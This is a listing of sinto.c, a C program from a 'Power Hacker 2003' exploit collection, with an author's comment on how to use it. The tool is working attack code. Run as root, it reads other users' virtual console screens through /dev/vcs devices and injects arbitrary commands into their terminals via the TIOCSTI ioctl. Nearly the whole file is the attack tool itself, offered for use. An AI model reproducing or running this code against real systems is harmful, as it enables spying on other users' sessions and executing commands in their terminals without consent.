home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / s0ftpj / sinto.c < prev    next >
Encoding:
C/C++ Source or Header  |  2000-12-17  |  4.9 KB  |  235 lines

  1. /*
  2.  * code by vecna@s0ftpj.org - www.s0ftpj.org
  3.  *
  4.  * how this code run:
  5.  * i read input and parse first char, if don't compare with "h" "r" "i", 
  6.  * sinto think that you have insert tty code. it open /dev/vcsX and print 
  7.  * it on * terminal, /dev/vcsX, as read under kernel documentation 
  8.  * (devices.txt):
  9.  *
  10.  * 7 char        Virtual console capture devices
  11.  *                 0 = /dev/vcs          Current vc text contents
  12.  *                 1 = /dev/vcs1         tty1 text contents
  13.  *                   ...
  14.  *                63 = /dev/vcs63        tty63 text contents
  15.  *               128 = /dev/vcsa         Current vc text/attribute contents
  16.  *
  17.  * with 'h' is printed number of current vcs.
  18.  *
  19.  * after reading from input info about tty, if is digit 'i' sinto entering 
  20.  * on insert mode, where you can insert command to send and execute on 
  21.  * hijacked tty after injection i've put refresh after 1000 milliseconds (if 
  22.  * operation is more long, type 'r' for refresh)
  23.  *
  24.  * sorry for my bad english, I speak only with my fish and my plants.
  25.  *
  26.  * for compile gcc -o sinto -Wall -O6 sinto.c  /   run as root.
  27.  *
  28.  * tnx to betatester TheDuke Velenux ralph vejeta.
  29.  * 
  30.  * example of usage:
  31. ~# ./sinto
  32.    1 
  33.    (start to read other tty, tty1 on example)
  34.    i
  35.    (entering on insert command mode)
  36.    "command"
  37.    (after 1000 milliseconds there are refresh)
  38.    r
  39.    (make other refresh with 'r')
  40.    h
  41.    (type vcs where we are to work)
  42.    ^C
  43.    (quit)
  44. ~#
  45.  * bye :)
  46.  */
  47.  
  48. #include <stdio.h>
  49. #include <unistd.h>
  50. #include <stdlib.h>
  51. #include <stdarg.h>
  52. #include <string.h>
  53. #include <errno.h>
  54. #include <fcntl.h>
  55. #include <sys/types.h>
  56. #include <sys/ioctl.h>
  57. #include <termios.h>
  58.  
  59. #define VCS_NAME_LEN     16
  60. #define CMD_SIZE    128
  61.  
  62. #define VCS_to_TTY(a)     a[5] ='t'; \
  63.             a[6] ='t'; \
  64.             a[7] ='y';
  65.  
  66. #define TTY_to_VCS(a)    a[5] ='v'; \
  67.             a[6] ='c'; \
  68.             a[7] ='s';
  69.  
  70. extern int errno;
  71.  
  72. void S_error(char *, ...);
  73. int open_vcs(char[3], char *);
  74. void read_vcs(int);
  75. void read_command(char vcs[]);
  76. void exec_hijacking(char *, char *);
  77.  
  78. int main(void)
  79.     {
  80.     char terminal[3]={ '1', 0x00, 0x00 };
  81.     char *vcs_name =malloc(VCS_NAME_LEN);
  82.     
  83.     if(geteuid())
  84.         S_error("required root for read other /dev/vcs");
  85.  
  86.     printf("entering on interactive hijacking mode\n");
  87.  
  88.     while(1)
  89.         {
  90.         char rcvd, suffix[3]={ 0x00, 0x00, 0x00 }; 
  91.         int vcsfd =0, index =0;
  92.  
  93.         while(read(STDIN_FILENO, &rcvd, sizeof(char)) > 0)
  94.             {
  95.             if(rcvd == '\n')
  96.                 break;
  97.             suffix[index++] =rcvd;
  98.             if(index == 2)
  99.                 break;
  100.             }
  101.  
  102.         switch(suffix[0])
  103.             {
  104.             case '\n':
  105.                 break;
  106.             case 'h':
  107.                 printf("\nwe are on %s\n", vcs_name);
  108.                 break;
  109.             case 'i':
  110.                 if(vcs_name !=NULL)
  111.                     read_command(vcs_name);
  112.                 memcpy(&suffix, &terminal, 3);
  113.             case 'r': /* refresh */
  114.                 memcpy(&suffix, &terminal, 3);
  115.             default:
  116.                 vcsfd =open_vcs(suffix, vcs_name);
  117.                 switch(vcsfd)
  118.                     {
  119.                     case -1:    
  120.                         S_error("open %s", vcs_name);
  121.                         break;
  122.                     case -2:
  123.                         vcsfd =70;
  124.                         while(vcsfd--)
  125.                             printf("\n");
  126.                         printf("\nis your tty!\n");
  127.                         break;
  128.                     default:
  129.                         memcpy(&terminal, &suffix, 3);
  130.                         read_vcs(vcsfd);
  131.                         close(vcsfd);
  132.                     }
  133.             }
  134.         }
  135.     }
  136.  
  137. int open_vcs(char tty[3], char *vcs_name)
  138.     {
  139.     char buf[VCS_NAME_LEN];
  140.  
  141.     snprintf(buf, VCS_NAME_LEN, "%s%s", "/dev/vcs", tty);
  142.     memcpy((void *)vcs_name, (void *) &buf, VCS_NAME_LEN);
  143.  
  144.     VCS_to_TTY(vcs_name);
  145.     if(!strcmp(vcs_name, ttyname(STDIN_FILENO)))
  146.         return (-2);
  147.     TTY_to_VCS(vcs_name);
  148.     /* -2 is signal of opening equal tty */
  149.  
  150.     return open(buf, O_RDONLY);
  151.     }
  152.  
  153. void read_vcs(int vcsfd)
  154.     {
  155.     int nbyte;
  156.     char screen_buf[2000];     /* my strace tell me 2000 :) */
  157.  
  158.     nbyte =read(vcsfd, screen_buf, sizeof(screen_buf));
  159.     if(nbyte == -1)
  160.         S_error(0, "error on read %d:%s",vcsfd, ttyname(vcsfd));
  161.  
  162.     write(STDOUT_FILENO, screen_buf, nbyte -1);
  163.     }
  164.  
  165. void read_command(char vcs[])
  166.         {
  167.         char command[128]; 
  168.  
  169.     printf("\033[1;34minsert command: \033[0m");
  170.     fgets(command, 128, stdin);
  171.  
  172.     if(command[0] != '\n')
  173.         exec_hijacking(command, vcs);
  174.  
  175.         }
  176.  
  177. void exec_hijacking(char *command, char *vcs)
  178.     {
  179.     /* this is some tech used on dirthy.c - TESO team */
  180.     int fd;
  181.     struct termios save_termios, buf;
  182.  
  183.     VCS_to_TTY(vcs);
  184.  
  185.     if((fd = open(vcs, O_WRONLY)) < 0)
  186.         S_error("open %s", vcs);
  187.  
  188.     if(tcgetattr(STDIN_FILENO, &save_termios) < 0)
  189.         S_error("tcgetattr");
  190.    
  191.     buf = save_termios;
  192.  
  193.     buf.c_lflag &= ~(ECHO | ICANON);
  194.     buf.c_cc[VMIN] = 1;
  195.     buf.c_cc[VTIME] = 0;
  196.  
  197.     if (tcsetattr(fd, TCSAFLUSH, &buf) <0)
  198.         S_error("tcsetattr for hijacking");
  199.  
  200.     while(*command)
  201.         {
  202.         char part[2] ={ *command++, 0x00 };
  203.  
  204.         if(ioctl(fd, TIOCSTI, part) == -1)
  205.             S_error("ioctl on sending command"); 
  206.         }
  207.  
  208.     usleep(1000);
  209.  
  210.     if (tcsetattr(fd, TCSAFLUSH, &save_termios) < 0)
  211.         S_error("tcsetattr for reset, type \"reset\"");
  212.  
  213.     TTY_to_VCS(vcs);
  214.     }
  215.  
  216. void S_error(char *message, ...)
  217.         {
  218.     va_list va;
  219.  
  220.     va_start(va, message);
  221.         if(errno)
  222.         {
  223.         vfprintf(stderr, message, va);
  224.         fprintf(stderr," : %s\n", strerror(errno));
  225.         }
  226.         else
  227.         {
  228.         vfprintf(stderr, message, va);
  229.         fprintf(stderr, "\n");
  230.         }
  231.     va_end(va);
  232.  
  233.     exit(errno);
  234.         }
  235.